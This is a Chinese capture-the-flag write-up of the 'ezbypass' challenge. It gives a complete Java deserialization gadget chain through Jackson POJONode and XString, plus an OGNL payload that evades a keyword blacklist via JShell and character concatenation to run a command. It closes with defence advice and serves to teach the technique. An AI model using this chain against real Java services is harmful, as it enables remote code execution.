湖南省程序设计网络攻防线下赛ezbypass
字数 738 2025-08-23 18:31:18

Jackson反序列化与OGNL表达式注入漏洞分析

漏洞背景

本文分析湖南省程序设计网络攻防线下赛中的ezbypass题目,涉及Jackson反序列化漏洞和OGNL表达式注入漏洞的利用技术。

漏洞入口分析

反序列化入口

@Controller
public class Backdoor {
    @ResponseBody
    @RequestMapping(value ={"/bbbbbackd00r"})
    public String backdoor(String data) throws IOException, ClassNotFoundException {
        if (data == null) {
            return "backdoor here";
        }
        byte[] decode = Base64.getDecoder().decode(data);
        ByteArrayInputStream bis = new ByteArrayInputStream(decode);
        ObjectInputStream ois = new ObjectInputStream(bis);
        Object object = ois.readObject();
        return object.toString();
    }
}

这是一个典型的Java反序列化漏洞入口,接收Base64编码的序列化数据并直接反序列化。

可利用类分析

public class User implements Serializable {
    private String name;
    private String desc;
    
    // 构造函数省略
    
    public Boolean filter() {
        String[] BlackList = new String[]{
            "\"", "'", "\\", "invoke", "getclass", "$", "{", "}", 
            "runtime", "java", "script", "process", "start", "flag", 
            "exec", "req", "new", "engine"
        };
        String str = this.desc.toLowerCase();
        for (String keyword : BlackList) {
            if (!str.contains(keyword)) continue;
            return true;
        }
        return false;
    }
    
    public String getResult() {
        try {
            if (!this.filter().booleanValue()) {
                OgnlContext ognlContext = new OgnlContext();
                return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();
            }
            return "hacker!";
        } catch (OgnlException var2) {
            System.out.println(var2);
            return "fail";
        }
    }
}

关键点:

  1. 实现了Serializable接口,可被序列化
  2. 提供了getResult()方法,其中包含OGNL表达式执行功能
  3. 有黑名单过滤机制,但可以绕过

反序列化利用链

利用链分析

利用链调用流程:

HashMap#putVal() 
--> AbstractMap#equal() 
--> Xstring#equal

具体原理:

  1. 当HashMap插入元素时,会计算hash并比较键值
  2. 如果hash相同,会调用equals()方法比较
  3. 通过构造特殊的HashMap,可以触发AbstractMap#equals()
  4. AbstractMap#equals()会获取键值并调用其equals()方法
  5. 通过构造POJONodeXstring对象,可以触发ArrayNodetoString()

关键代码

// AbstractMap#equals
public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Map<?, ?> m))
        return false;
    if (m.size() != size())
        return false;
    try {
        for (Entry<K, V> e : entrySet()) {
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key) == null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }
    return true;
}

// Xstring#equals
public boolean equals(Object obj2) {
    if (null == obj2)
        return false;
    else if (obj2 instanceof XNodeSet)
        return obj2.equals(this);
    else if (obj2 instanceof XNumber)
        return obj2.equals(this);
    else
        return str().equals(obj2.toString());
}

OGNL表达式注入绕过

黑名单分析

黑名单包含以下关键词:

String[] BlackList = new String[]{
    "\"", "'", "\\", "invoke", "getclass", "$", "{", "}", 
    "runtime", "java", "script", "process", "start", "flag", 
    "exec", "req", "new", "engine"
};

绕过技术

  1. 使用JDK 17特有的jdk.jshell
  2. 通过@Character@toString()方法拼接字符串绕过关键词检测
  3. 利用OGNL支持多表达式执行的特性

最终Payload

@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))

这个Payload实际拼接出的命令是:

Runtime.getRuntime().exec("calc")

完整利用代码

public class jackson {
    public static void main(String args[]) throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }
        
        User user = new User("ctf", "@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))");
        
        ObjectMapper objmapper = new ObjectMapper();
        ArrayNode arrayNode = objmapper.createArrayNode();
        arrayNode.addPOJO(user);
        
        Object exp = getXstringMap(user);
        base64Serialize(exp);
    }
    
    public static Object getXstringMap(Object obj) throws Exception {
        POJONode node = new POJONode(obj);
        XString xString = new XString("bypass");
        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        map1.put("yy", node);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", node);
        Object o = makeMap(map1, map2);
        return o;
    }
    
    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static String base64Serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(payload);
        return payload;
    }
}

防御建议

  1. 避免直接反序列化不可信数据
  2. 使用白名单机制限制可反序列化的类
  3. 对OGNL表达式执行进行更严格的过滤
  4. 升级到最新版本的Jackson库
  5. 禁用危险的Java特性,如JShell

参考链接

Jackson反序列化与OGNL表达式注入漏洞分析 漏洞背景 本文分析湖南省程序设计网络攻防线下赛中的 ezbypass 题目,涉及Jackson反序列化漏洞和OGNL表达式注入漏洞的利用技术。 漏洞入口分析 反序列化入口 这是一个典型的Java反序列化漏洞入口,接收Base64编码的序列化数据并直接反序列化。 可利用类分析 关键点: 实现了 Serializable 接口,可被序列化 提供了 getResult() 方法,其中包含OGNL表达式执行功能 有黑名单过滤机制,但可以绕过 反序列化利用链 利用链分析 利用链调用流程: 具体原理: 当HashMap插入元素时,会计算hash并比较键值 如果hash相同,会调用 equals() 方法比较 通过构造特殊的HashMap,可以触发 AbstractMap#equals() AbstractMap#equals() 会获取键值并调用其 equals() 方法 通过构造 POJONode 和 Xstring 对象,可以触发 ArrayNode 的 toString() 关键代码 OGNL表达式注入绕过 黑名单分析 黑名单包含以下关键词: 绕过技术 使用JDK 17特有的 jdk.jshell 包 通过 @Character@toString() 方法拼接字符串绕过关键词检测 利用OGNL支持多表达式执行的特性 最终Payload 这个Payload实际拼接出的命令是: 完整利用代码 防御建议 避免直接反序列化不可信数据 使用白名单机制限制可反序列化的类 对OGNL表达式执行进行更严格的过滤 升级到最新版本的Jackson库 禁用危险的Java特性,如JShell 参考链接 OGNL表达式注入漏洞总结